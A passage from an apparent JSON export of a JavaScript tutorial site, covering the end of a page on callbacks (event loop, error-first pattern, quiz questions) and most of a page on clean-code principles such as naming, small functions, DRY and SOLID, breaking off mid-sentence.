Design\n\nJavaScript was designed to be **single-threaded**: one thing at a time. Why?\n\n1. **Simplicity** — No race conditions, deadlocks, or complex synchronization\n2. **DOM Safety** — Multiple threads modifying the DOM would cause chaos\n3. **Browser Reality** — Early browsers couldn't handle multi-threaded scripts\n\nBut single-threaded means a problem: **you can't block waiting for things.**\n\nIf JavaScript waited for a network request to complete, the entire page would freeze. Users couldn't click, scroll, or do anything. That's unacceptable for a UI language.\n\n### The Callback Solution\n\nCallbacks solved this problem neatly:\n\n1. **Register interest** — \"When this happens, call this function\"\n2. **Continue immediately** — Don't block, keep the UI responsive  \n3. **React later** — When the event occurs, the callback runs\n\n```javascript\n// This pattern was there from day one\nelement.onclick = function() {\n  alert('Clicked!')\n}\n\n// The page doesn't freeze waiting for a click\n// JavaScript registers the callback and moves on\n// When clicked, the callback runs\n```\n\n### The Evolution\n\n| Year | Development |\n|------|-------------|\n| 1995 | JavaScript created with event callbacks |\n| 1999 | XMLHttpRequest (AJAX) — async HTTP with callbacks |\n| 2009 | Node.js — callbacks for server-side I/O |\n| 2012 | Callback hell becomes a recognized problem |\n| 2015 | ES6 Promises — official solution to callback hell |\n| 2017 | ES8 async/await — syntactic sugar for Promises |\n\n### Callbacks Are Still The Foundation\n\nEven with Promises and async/await, callbacks are everywhere:\n\n- **Event handlers** still use callbacks\n- **Array methods** still use callbacks\n- **Promises** use callbacks internally (`.then(callback)`)\n- **async/await** is syntactic sugar over Promise callbacks\n\nCallbacks aren't obsolete. They're the foundation that everything else builds upon.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **A callback is a function passed to another function** to be executed later — nothing magical\n\n2. **Callbacks can be synchronous or asynchronous** — array methods are sync, timers and events are async\n\n3. **Higher-order functions and callbacks are two sides of the same coin** — one accepts, one is passed\n\n4. **Async callbacks go through the event loop** — they never run until all sync code finishes\n\n5. **Error-first callbacks: `callback(error, result)`** — always check error first, return after handling\n\n6. **You can't use try/catch for async callbacks** — the catch is gone by the time the callback runs\n\n7. **Callback hell is real** — deeply nested callbacks become unreadable and unmaintainable\n\n8. **Escape callback hell with:** named functions, modularization, early returns, or Promises\n\n9. **Promises were invented to solve callback problems** — but they still use callbacks under the hood\n\n10. **Callbacks are the foundation** — events, Promises, async/await all build on callbacks\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between synchronous and asynchronous callbacks?\">\n    **Answer:**\n    \n    **Synchronous callbacks** execute immediately, during the function call. They block until complete. Examples: `map`, `filter`, `forEach`.\n    \n    ```javascript\n    [1, 2, 3].forEach(n => console.log(n))  // Runs immediately, blocks\n    console.log('Done')  // Runs after forEach completes\n    ```\n    \n    **Asynchronous callbacks** execute later, via the event loop. They don't block. Examples: `setTimeout`, `addEventListener`, `fs.readFile`.\n    \n    ```javascript\n    setTimeout(() => console.log('Timer'), 0)  // Registers, doesn't block\n    console.log('Done')  // Runs BEFORE the timer callback\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is error the first parameter in Node.js-style callbacks?\">\n    **Answer:**\n    \n    The error-first convention exists because:\n    \n    1. **Consistency** — Every async callback has the same signature: `(error, result)`\n    2. **Can't be ignored** — The error is the first thing you must deal with\n    3. **Forces handling** — You naturally check for errors before using results\n    4. **No exceptions** — Async errors can't be caught with try/catch, so they must be passed\n    \n    ```javascript\n    fs.readFile('file.txt', (error, data) => {\n      if (error) {\n        // Handle error FIRST\n        console.error(error)\n        return\n      }\n      // Safe to use data\n      console.log(data)\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What's the output of this code?\">\n    ```javascript\n    console.log('A')\n    \n    setTimeout(() => console.log('B'), 0)\n    \n    console.log('C')\n    \n    setTimeout(() => console.log('D'), 0)\n    \n    console.log('E')\n    ```\n    \n    **Answer:** `A`, `C`, `E`, `B`, `D`\n    \n    **Explanation:**\n    1. `console.log('A')` — sync, runs immediately → \"A\"\n    2. `setTimeout(..., 0)` — registers callback B, continues\n    3. `console.log('C')` — sync, runs immediately → \"C\"\n    4. `setTimeout(..., 0)` — registers callback D, continues\n    5. `console.log('E')` — sync, runs immediately → \"E\"\n    6. Call stack empty → event loop runs callback B → \"B\"\n    7. Event loop runs callback D → \"D\"\n    \n    Even with 0ms delay, setTimeout callbacks run after all sync code.\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How can you preserve `this` context in a callback?\">\n    **Answer:** Three common approaches:\n    \n    **1. Arrow functions** (recommended — they inherit `this` from enclosing scope):\n    ```javascript\n    const obj = {\n      name: 'Alice',\n      greet() {\n        setTimeout(() => {\n          console.log(this.name)  // \"Alice\"\n        }, 100)\n      }\n    }\n    ```\n    \n    **2. Using `bind()`**:\n    ```javascript\n    setTimeout(function() {\n      console.log(this.name)\n    }.bind(this), 100)\n    ```\n    \n    **3. Saving a reference**:\n    ```javascript\n    const self = this\n    setTimeout(function() {\n      console.log(self.name)\n    }, 100)\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 5: Why can't you use try/catch with async callbacks?\">\n    **Answer:**\n    \n    The `try/catch` block executes **synchronously**. By the time an async callback runs, the try/catch is long gone. It's on a different \"turn\" of the event loop.\n    \n    ```javascript\n    try {\n      setTimeout(() => {\n        throw new Error('Async error!')  // This escapes!\n      }, 100)\n    } catch (e) {\n      // This NEVER catches the error\n      console.log('Caught:', e)\n    }\n    \n    // The error crashes the program because:\n    // 1. try/catch runs immediately\n    // 2. setTimeout registers callback and returns\n    // 3. try/catch completes (nothing thrown yet!)\n    // 4. 100ms later, callback runs and throws\n    // 5. No try/catch exists at that point\n    ```\n    \n    This is why we use error-first callbacks or Promise `.catch()` for async error handling.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: What are three ways to avoid callback hell?\">\n    **Answer:**\n    \n    **1. Named functions** — Extract callbacks into named functions:\n    ```javascript\n    function handleUser(err, user) {\n      if (err) return handleError(err)\n      getProfile(user.id, handleProfile)\n    }\n    getUser(userId, handleUser)\n    ```\n    \n    **2. Modularization** — Split into separate modules/functions:\n    ```javascript\n    // auth.js exports authenticateUser()\n    // profile.js exports loadProfile()\n    // main.js composes them\n    ```\n    \n    **3. Promises/async-await** — Use modern async patterns:\n    ```javascript\n    const user = await getUser(userId)\n    const profile = await getProfile(user.id)\n    ```\n    \n    Other approaches: control flow libraries (async.js), early returns, keeping nesting shallow.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a callback function in JavaScript?\">\n    A callback is a function passed as an argument to another function, which calls it later. As documented on MDN, callbacks are the fundamental mechanism for asynchronous programming in JavaScript. Every event handler, timer, and array method like `forEach` and `map` uses callbacks to execute code at the right time.\n  </Accordion>\n\n  <Accordion title=\"What is callback hell?\">\n    Callback hell (also called the \"pyramid of doom\") is a pattern of deeply nested callbacks that makes code hard to read and maintain. It typically occurs when multiple asynchronous operations depend on each other. This problem was one of the primary motivations for adding Promises to the ECMAScript 2015 specification.\n  </Accordion>\n\n  <Accordion title=\"What is the error-first callback pattern?\">\n    The error-first pattern is a Node.js convention where callbacks receive an error as the first argument and the result as the second. If the error is `null`, the operation succeeded. This pattern became the de facto standard for Node.js APIs and was widely adopted before Promises. It ensures errors are always checked before processing results.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between synchronous and asynchronous callbacks?\">\n    Synchronous callbacks execute immediately within the calling function — array methods like `map` and `filter` use synchronous callbacks. Asynchronous callbacks execute later, after some operation completes — `setTimeout`, `fetch`, and event listeners use asynchronous callbacks. The distinction matters because async callbacks require understanding the event loop and task scheduling.\n  </Accordion>\n\n  <Accordion title=\"Why were Promises invented to replace callbacks?\">\n    Promises solve three major callback problems: nested \"pyramid of doom\" code, inconsistent error handling, and inversion of control (trusting third-party code to call your callback correctly). According to the 2023 State of JS survey, async/await (built on Promises) is now the dominant async pattern, used by over 90% of JavaScript developers.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How JavaScript schedules and executes async callbacks\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Modern solution to callback hell\n  </Card>\n  <Card title=\"async/await\" icon=\"hourglass\" href=\"/concepts/async-await\">\n    Cleaner syntax for Promise-based async code\n  </Card>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Functions that accept or return other functions\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Callback function — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Glossary/Callback_function\">\n    Official MDN glossary definition of callback functions\n  </Card>\n  <Card title=\"setTimeout — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/setTimeout\">\n    Documentation for the setTimeout timer function\n  </Card>\n  <Card title=\"EventTarget.addEventListener — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener\">\n    How to register event callbacks on DOM elements\n  </Card>\n  <Card title=\"Array.prototype.forEach — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach\">\n    Synchronous callback pattern with array iteration\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Callbacks Explained\" icon=\"newspaper\" href=\"https://www.freecodecamp.org/news/javascript-callback-functions-what-are-callbacks-in-js-and-how-to-use-them/\">\n    Starts with the \"I'll call you back\" phone analogy that makes callbacks click. Builds up from simple examples to async patterns step by step.\n  </Card>\n  <Card title=\"Callback Functions in JavaScript\" icon=\"newspaper\" href=\"https://javascript.info/callbacks\">\n    Uses a script-loading example to show why callbacks exist and how they solve real problems. The \"pyramid of doom\" section shows exactly how callback hell develops.\n  </Card>\n\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Callbacks in JavaScript Explained!\" icon=\"video\" href=\"https://www.youtube.com/watch?v=cNjIUSDnb9k\">\n    Mosh uses a movie database example that shows callbacks in a realistic context. Great production quality with on-screen code highlighting.\n  </Card>\n  <Card title=\"JavaScript Callbacks\" icon=\"video\" href=\"https://www.youtube.com/watch?v=QRq2zMHlBz4\">\n    Kyle explains callbacks in under 8 minutes with zero fluff. Perfect if you want a quick refresher without sitting through a long tutorial.\n  </Card>\n  <Card title=\"Callback Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Nau-iEEgEoM\">\n    MPJ's signature style makes this feel like a conversation, not a lecture. Explains the \"why\" behind callbacks, not just the \"how.\"\n  </Card>\n  <Card title=\"Asynchronous JavaScript Tutorial\" icon=\"video\" href=\"https://www.youtube.com/watch?v=PoRJizFvM7s\">\n    Covers the full async story: callbacks, then Promises, then async/await. Watch this one if you want to see how each pattern improves on the last.\n  </Card>\n  <Card title=\"JavaScript Callback Functions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=pTbSfCT42_M\">\n    Walks through callbacks with a setTimeout example, then shows how to create your own callback-accepting functions. Good for hands-on learners.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/clean-code.mdx",
    "content": "---\ntitle: \"Clean Code\"\nsidebarTitle: \"Clean Code: Writing Readable JavaScript\"\ndescription: \"Learn clean code principles for JavaScript. Meaningful naming, small functions, DRY, and best practices for maintainable code.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Advanced Topics\"\n\"article:tag\": \"clean code, code readability, naming conventions, DRY principle, maintainable code\"\n---\n\nWhy do some codebases feel like a maze while others read like a well-written story? What makes code easy to change versus code that makes you want to rewrite everything from scratch?\n\n```javascript\n// Which would you rather debug at 2am?\n\n// Version A\nfunction p(a, b) {\n  let x = 0\n  for (let i = 0; i < a.length; i++) {\n    if (a[i].s === 1) x += a[i].p * b\n  }\n  return x\n}\n\n// Version B\nfunction calculateActiveProductsTotal(products, taxRate) {\n  let total = 0\n  for (const product of products) {\n    if (product.status === PRODUCT_STATUS.ACTIVE) {\n      total += product.price * taxRate\n    }\n  }\n  return total\n}\n```\n\n**Clean code** is code that's easy to read, easy to understand, and easy to change. The principles behind clean code were popularized by Robert C. Martin's book *[Clean Code: A Handbook of Agile Software Craftsmanship](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882)*, and Ryan McDermott adapted these principles specifically for JavaScript in his [clean-code-javascript](https://github.com/ryanmcdermott/clean-code-javascript) repository (94k+ GitHub stars). Both are essential reading for any JavaScript developer.\n\n<Info>\n**What you'll learn in this guide:**\n- What makes code \"clean\" and why it matters\n- Naming conventions that make code self-documenting\n- How to write small, focused functions that do one thing\n- The DRY principle and when to apply it\n- How to avoid side effects and write predictable code\n- Using early returns to reduce nesting\n- When to write comments (and when not to)\n- SOLID principles applied to JavaScript\n</Info>\n\n---\n\n## The Newspaper Analogy\n\nThink of your code like a newspaper article. A reader should understand the gist from the headline, get more details from the first paragraph, and find supporting information as they read further. Your code should work the same way: high-level functions at the top, implementation details below.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                     CODE LIKE A NEWSPAPER                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   // HEADLINE: What does this module do?                                 │\n│   export function processUserOrder(userId, orderId) {                    │\n│     const user = getUser(userId)                                         │\n│     const order = getOrder(orderId)                                      │\n│     validateOrder(user, order)                                           │\n│     return chargeAndShip(user, order)                                    │\n│   }                                                                      │\n│                                                                          │\n│   // DETAILS: How does it do it?                                         │\n│   function getUser(userId) { ... }                                       │\n│   function getOrder(orderId) { ... }                                     │\n│   function validateOrder(user, order) { ... }                            │\n│   function chargeAndShip(user, order) { ... }                            │\n│                                                                          │\n│   Read top-to-bottom. The \"what\" comes before the \"how\".                 │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Meaningful Naming\n\nNames are everywhere in code: variables, functions, classes, files. Good names make comments unnecessary. Bad names make simple code confusing.\n\n### Use Pronounceable, Searchable Names\n\n```javascript\n// ❌ What does this even mean?\nconst yyyymmdstr = moment().format('YYYY/MM/DD')\nconst d = new Date()\nconst t = d.getTime()\n\n// ✓ Crystal clear\nconst currentDate = moment().format('YYYY/MM/DD')\nconst now = new Date()\nconst timestamp = now.getTime()\n```\n\n### Use the Same Word for the Same Concept\n\nPick one word per concept and stick with it. If you fetch users with `getUser()`, don't also have `fetchClient()` and `retrieveCustomer()`.\n\n```javascript\n// ❌ Inconsistent - which one do I use?\ngetUserInfo()\nfetchClientData()\nretrieveCustomerRecord()\n\n// ✓ Consistent vocabulary\ngetUser()\ngetClient()\ngetCustomer()\n```\n\n### Avoid Mental Mapping\n\nSingle-letter variables force readers to remember what `a`, `x`, or `l` mean. Be explicit.\n\n```javascript\n// ❌ What is 'l'? A number? A location? A letter?\nlocations.forEach(l => {\n  doStuff()\n  // ... 50 lines later\n  dispatch(l)  // Wait, what was 'l' again?\n})\n\n// ✓ No guessing required\nlocations.forEach(location => {\n  doStuff()\n  dispatch(location)\n})\n```\n\n### Don't Add Unnecessary Context\n\nIf your class is called `Car`, you don't need `carMake`, `carModel`, `carColor`. The context is already there.\n\n```javascript\n// ❌ Redundant prefixes\nconst Car = {\n  carMake: 'Honda',\n  carModel: 'Accord',\n  carColor: 'Blue'\n}\n\n// ✓ Context is already clear\nconst Car = {\n  make: 'Honda',\n  model: 'Accord',\n  color: 'Blue'\n}\n```\n\n---\n\n## Functions Should Do One Thing\n\nThis is the single most important rule in clean code, known as the Single Responsibility Principle (SRP). As Robert C. Martin states in *Clean Code*, \"a function should do one thing, do it well, and do it only.\" When functions do one thing, they're easier to name, easier to test, and easier to reuse.\n\n### Keep Functions Small and Focused\n\n```javascript\n// ❌ This function does too many things\nfunction emailClients(clients) {\n  clients.forEach(client => {\n    const clientRecord = database.lookup(client)\n    if (clientRecord.isActive()) {\n      email(client)\n    }\n  })\n}\n\n// ✓ Each function has one job\nfunction emailActiveClients(clients) {\n  clients\n    .filter(isActiveClient)\n    .forEach(email)\n}\n\nfunction isActiveClient(client) {\n  const clientRecord = database.lookup(client)\n  return clientRecord.isActive()\n}\n```\n\n### Limit Function Parameters\n\nTwo or fewer parameters is ideal. If you need more, use an object with destructuring. This also makes the call site self-documenting.\n\n```javascript\n// ❌ What do these arguments mean?\ncreateMenu('Settings', 'User preferences', 'Save', true)\n\n// ✓ Self-documenting with destructuring\ncreateMenu({\n  title: 'Settings',\n  body: 'User preferences',\n  buttonText: 'Save',\n  cancellable: true\n})\n\nfunction createMenu({ title, body, buttonText, cancellable = false }) {\n  // ...\n}\n```\n\n### Don't Use Boolean Flags\n\nA boolean parameter is a sign that the function does more than one thing. Split it into two functions instead.\n\n```javascript\n// ❌ Boolean flag = function does two things\nfunction createFile(name, isTemp) {\n  if (isTemp) {\n    fs.create(`./temp/${name}`)\n  } else {\n    fs.create(name)\n  }\n}\n\n// ✓ Two focused functions\nfunction createFile(name) {\n  fs.create(name)\n}\n\nfunction createTempFile(name) {\n  createFile(`./temp/${name}`)\n}\n```\n\n---\n\n## Avoid Magic Numbers and Strings\n\nMagic values are unexplained numbers or strings scattered through your code. They make code hard to understand and hard to change.\n\n```javascript\n// ❌ What is 86400000? Why 18?\nsetTimeout(blastOff, 86400000)\n\nif (user.age > 18) {\n  allowAccess()\n}\n\nif (status === 1) {\n  // ...\n}\n\n// ✓ Named constants are searchable and self-documenting\nconst MILLISECONDS_PER_DAY = 60 * 60 * 24 * 1000\nconst MINIMUM_LEGAL_AGE = 18\nconst STATUS = {\n  ACTIVE: 1,\n  INACTIVE: 0\n}\n\nsetTimeout(blastOff, MILLISECONDS_PER_DAY)\n\nif (user.age > MINIMUM_LEGAL_AGE) {\n  allowAccess()\n}\n\nif (status === STATUS.ACTIVE) {\n  // ...\n}\n```\n\n<Tip>\n**Pro tip:** ESLint's `no-magic-numbers` rule can automatically flag magic numbers in your code.\n</Tip>\n\n---\n\n## DRY: Don't Repeat Yourself\n\nDuplicate code means multiple places to update when logic changes. The DRY principle was coined by Andy Hunt and Dave Thomas in *[The Pragmatic Programmer](https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/)*, where they define it as \"every piece of knowledge must have a single, unambiguous, authoritative representation.\" But be careful: a bad abstraction is worse than duplication. Only abstract when you see a clear pattern.\n\n```javascript\n// ❌ Duplicate logic\nfunction showDeveloperList(developers) {\n  developers.forEach(dev => {\n    const salary = dev.calculateSalary()\n    const experience = dev.getExperience()\n    const githubLink = dev.getGithubLink()\n    render({ salary, experience, githubLink })\n  })\n}\n\nfunction showManagerList(managers) {\n  managers.forEach(mgr => {\n    const salary = mgr.calculateSalary()\n    const experience = mgr.getExperience()\n    const portfolio = mgr.getPortfolio()\n    render({ salary, experience, portfolio })\n  })\n}\n\n// ✓ Unified with type-specific handling\nfunction showEmployeeList(employees) {\n  employees.forEach(employee => {\n    const baseData = {\n      salary: employee.calculateSalary(),\n      experience: employee.getExperience()\n    }\n    \n    const extraData = employee.type === 'developer'\n      ? { githubLink: employee.getGithubLink() }\n      : { portfolio: employee.getPortfolio() }\n    \n    render({ ...baseData, ...extraData })\n  })\n}\n```\n\n---\n\n## Avoid Side Effects\n\nA function has a side effect when it does something other than take inputs and return outputs: modifying a global variable, writing to a file, or mutating an input parameter. Side effects make code unpredictable and hard to test. For a deeper dive, see our [Pure Functions](/concepts/pure-functions) guide.\n\n```javascript\n// ❌ Mutates the original array - side effect!\nfunction addItemToCart(cart, item) {\n  cart.push({ item, date: Date.now() })\n}\n\n// ✓ Returns a new array - no side effects\nfunction addItemToCart(cart, item) {\n  return [...cart, { item, date: Date.now() }]\n}\n```\n\n```javascript\n// ❌ Modifies global state\nlet name = 'Ryan McDermott'\n\nfunction splitName() {\n  name = name.split(' ')  // Mutates global!\n}\n\n// ✓ Pure function - no globals modified\nfunction splitName(name) {\n  return name.split(' ')\n}\n\nconst fullName = 'Ryan McDermott'\nconst nameParts = splitName(fullName)\n```\n\n---\n\n## Early Returns and Guard Clauses\n\nDeeply nested code is hard to follow. Use early returns to handle edge cases first, then write the main logic without extra indentation.\n\n```javascript\n// ❌ Deeply nested - hard to follow\nfunction getPayAmount(employee) {\n  let result\n  if (employee.isSeparated) {\n    result = { amount: 0, reason: 'separated' }\n  } else {\n    if (employee.isRetired) {\n      result = { amount: 0, reason: 'retired' }\n    } else {\n      // ... complex salary calculation\n      result = { amount: salary, reason: 'employed' }\n    }\n  }\n  return result\n}\n\n// ✓ Guard clauses - flat and readable\nfunction getPayAmount(employee) {\n  if (employee.isSeparated) {\n    return { amount: 0, reason: 'separated' }\n  }\n  \n  if (employee.isRetired) {\n    return { amount: 0, reason: 'retired' }\n  }\n  \n  // Main logic at the top level\n  const salary = calculateSalary(employee)\n  return { amount: salary, reason: 'employed' }\n}\n```\n\nThe same applies to loops. Use `continue` to skip iterations instead of nesting:\n\n```javascript\n// ❌ Unnecessary nesting\nfor (const user of users) {\n  if (user.isActive) {\n    if (user.hasPermission) {\n      processUser(user)\n    }\n  }\n}\n\n// ✓ Flat and scannable\nfor (const user of users) {\n  if (!user.isActive) continue\n  if (!user.hasPermission) continue\n  \n  processUser(user)\n}\n```\n\n---\n\n## Comments: Less is More\n\nGood code mostly documents itself. Comments should explain *why*, not *what*. According to a [Stack Overflow Developer Survey](https://survey.stackoverflow.co/2023/), over 80% of developers consider code readability more important than clever optimization. If you need a comment to explain what code does, consider rewriting the code to be clearer.\n\n### Don't State the Obvious\n\n```javascript\n// ❌ These comments add nothing\nfunction hashIt(data) {\n  // The hash\n  let hash = 0\n  \n  // Length of string\n  const length = data.length\n  \n  // Loop through every character\n  for (let i = 0; i < length; i++) {\n    // Get character code\n    const char = data.charCodeAt(i)\n    // Make the hash\n    hash = (hash << 5) - hash + char\n    // Convert to 32-bit integer\n    hash &= hash\n  }\n  return hash\n}\n\n// ✓ Only comment what's not obvious\nfunction hashIt(data) {\n  let hash = 0\n  const length = data.length\n  \n  for (let i = 0; i < length; i++) {\n    const char = data.charCodeAt(i)\n    hash = (hash << 5) - hash + char\n    hash &= hash  // Convert to 32-bit integer\n  }\n  return hash\n}\n```\n\n### Don't Leave Commented-Out Code\n\nThat's what version control is for. Delete it. If you need it later, check the git history.\n\n```javascript\n// ❌ Dead code cluttering the file\ndoStuff()\n// doOtherStuff()\n// doSomeMoreStuff()\n// doSoMuchStuff()\n\n// ✓ Clean\ndoStuff()\n```\n\n### Don't Write Journal Comments\n\nGit log exists for a reason.\n\n```javascript\n// ❌ This is what git history is for\n/**\n * 2016-12-20: Removed monads (RM)\n * 2016-10-01: Added special monads (JP)\n * 2016-02-03: Removed type-checking (LI)\n */\nfunction combine(a, b) {\n  return a + b\n}\n\n// ✓ Just the code\nfunction combine(a, b) {\n  return a + b\n}\n```\n\n---\n\n## SOLID Principles in JavaScript\n\nSOLID is a set of five principles that help you write maintainable, flexible code. Here's how they apply to JavaScript:\n\n<AccordionGroup>\n  <Accordion title=\"Single Responsibility Principle (SRP)\">\n    A class or module should have only one reason to change.\n    \n    ```javascript\n    // ❌ UserSettings handles both settings AND authentication\n    class UserSettings {\n      constructor(user) {\n        this.user = user\n      }\n      \n      changeSettings(settings) {\n        if (this.verifyCredentials()) {\n          // update settings\n        }\n      }\n      \n      verifyCredentials() {\n        // authentication logic\n      }\n    }\n    \n    // ✓ Separate responsibilities\n    class UserAuth {\n      constructor(user) {\n        this.user = user\n      }\n      \n      verifyCredentials() {\n        // authentication logic\n      }\n    }\n    \n    class UserSettings {\n      constructor(user, auth) {\n        this.user = user\n        this.auth = auth\n      }\n      \n      changeSettings(settings) {\n        if (this.auth.verifyCredentials()) {\n          // update settings\n        }\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Open/Closed Principle (OCP)\">\n    Code should be open for extension but closed for modification. Add new features by adding new code, not changing existing code.\n    \n    ```javascript\n    // ❌ Must modify this function for every new shape\n    function getArea(shape) {\n      if (shape.type === 'circle') {\n        return Math.PI * shape.radius ** 2\n      } else if (shape.type === 'rectangle') {\n        return shape.width * shape.height\n      }\n      // Add another if for every new shape...\n    }\n    \n    // ✓ Extend by adding new classes\n    class Shape {\n      getArea() {\n        throw new Error('getArea must be implemented')\n      }\n    }\n    \n    class Circle extends Shape {\n      constructor(radius) {\n        super()\n        this.radius = radius\n      }\n      \n      getArea() {\n        return Math.PI * this.radius ** 2\n      }\n    }\n    \n    class Rectangle extends Shape {\n      constructor(width, height) {\n        super()\n        this.width = width\n        this.height = height\n      }\n      \n      getArea() {\n        return this.width * this.height\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Liskov Substitution Principle (LSP)\">\n    Child classes should be usable wherever parent classes are expected without breaking the code.\n    \n    ```javascript\n    // ❌ Square breaks when used where Rectangle is expected\n    class Rectangle {\n      constructor() {\n        this.width = 0\n        this.height = 0\n      }\n      \n      setWidth(width) {\n        this.width = width\n      }\n      \n      setHeight(height) {\n        this.height = height\n      }\n      \n      getArea() {\n        return this.width * this.height\n      }\n    }\n    \n    class Square extends Rectangle {\n      setWidth(width) {\n        this.width = width\n        this.height = width  // Breaks LSP!\n      }\n      \n      setHeight(height) {\n        this.width = height\n        this.height = height\n      }\n    }\n    \n    // This fails for Square - expects 20, gets 25\n    function calculateAreas(rectangles) {\n      rectangles.forEach(rect => {\n        rect.setWidth(4)\n        rect.setHeight(5)\n        console.log(rect.getArea())  // Square returns 25, not 20!\n      })\n    }\n    \n    // ✓ Better: separate classes, no inheritance relationship\n    class Rectangle {\n      constructor(width, height) {\n        this.width = width\n        this.height = height\n      }\n      \n      getArea() {\n        return this.width * this.height\n      }\n    }\n    \n    class Square {\n      constructor(side) {\n        this.side = side\n      }\n      \n      getArea() {\n        return this.side * this.side\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Interface Segregation Principle (ISP)\">\n    Don't force clients to depend on methods they don't use. In JavaScript, use optional configuration objects instead of requiring many parameters.\n    \n    ```javascript\n    // ❌ Forcing clients to provide options they don't need\n    class DOMTraverser {\n      constructor(settings) {\n        this.settings = settings\n        this.rootNode = settings.rootNode\n        this.settings.animationModule.setup()  // Required even if not needed!\n      }\n    }\n    \n    const traverser = new DOMTraverser({\n      rootNode: document.body,\n      animationModule: { setup() {} }  // Must provide even if not animating\n    })\n    \n    // ✓ Make features optional\n    class DOMTraverser {\n      constructor(settings) {\n        this.settings = settings\n        this.rootNode = settings.rootNode\n        \n        if (settings.animationModule) {\n          settings.animationModule.setup()\n        }\n      }\n    }\n    \n    const traverser = new DOMTraverser({\n      rootNode: document.body\n      // animationModule is optional now\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Dependency Inversion Principle (DIP)\">\n    Depend on abstractions, not concrete implementations. Inject dependencies rather than instantiating them inside your classes.\n    \n    ```javascript\n    // ❌ Tightly coupled to InventoryRequester\n    class InventoryTracker {\n      constructor(items) {\n        this.items = items\n        this.requester = new InventoryRequester()  // Hard dependency\n      }\n    }\n    \n    // ✓ Dependency injection\n    class InventoryTracker {\n      constructor(items, requester) {\n        this.items = items\n        this.requester = requester  // Injected - can be any requester\n      }\n    }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Write Testable Code\n\nFunctions that do one thing with no side effects are easy to test. If a function is hard to test, it's often a sign that it's doing too much or has hidden dependencies. Clean code and testable code go hand in hand.\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Names matter** — Use meaningful, pronounceable, searchable names. Good names eliminate the need for comments.\n\n2. **Functions should do one thing** — This is the most important rule. Small, focused functions are easier to name, test, and reuse.\n\n3. **Limit function parameters** — Two or fewer is ideal. Use object destructuring for more.\n\n4. **Eliminate magic numbers** — Use named constants that explain what values mean.\n\n5. **DRY, but don't over-abstract** — Remove duplication, but a bad abstraction is worse than duplication.\n\n6. **Avoid side effects** — Prefer pure functions that don't mutate inputs or global state.\n\n7. **Use early returns** — Guard clauses reduce nesting and make code easier to follow.\n\n8. **Comments explain why, not what** — If you need to explain what code does, rewrite the code.\n\n9. **Delete dead code** — Commented-out code and unused functions clutter your codebase. Git remembers.\n\n10. **Use tools** — ESLint catches issues, Prettier handles formatting. Don't argue about style.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's wrong with this function name?\">\n    ```javascript\n    function process(data) {\n      // ...\n    }\n    ```\n    \n    **Answer:**\n    \n    The name `process` is too vague. It doesn't tell you what kind of processing happens or what kind of data is expected. Better names would be `validateUserInput`, `parseJsonResponse`, or `calculateOrderTotal`, depending on what the function actually does.\n  </Accordion>\n  \n  <Accordion title=\"Question 2: Why is this function problematic?\">\n    ```javascript\n    function createUser(name, email, age, isAdmin, sendWelcomeEmail) {\n      // ...\n    }\n    ```\n    \n    **Answer:**\n    \n    Too many parameters (5). It's hard to remember the order, and the boolean flags (`isAdmin`, `sendWelcomeEmail`) suggest the function might be doing multiple things. Refactor to use an options object:\n    \n    ```javascript\n    function createUser({ name, email, age, isAdmin = false }) {\n      // ...\n    }\n    \n    function sendWelcomeEmail(user) {\n      // Separate function for separate concern\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: When should you write a comment?\">\n    **Answer:**\n    \n    Write comments when you need to explain *why* something is done a certain way, especially for:\n    - Business logic that isn't obvious from the code\n    - Workarounds for bugs or edge cases\n    - Legal or licensing requirements\n    - Complex algorithms where the approach isn't self-evident\n    \n    Don't write comments that explain *what* the code does. If the code needs explanation, rewrite it to 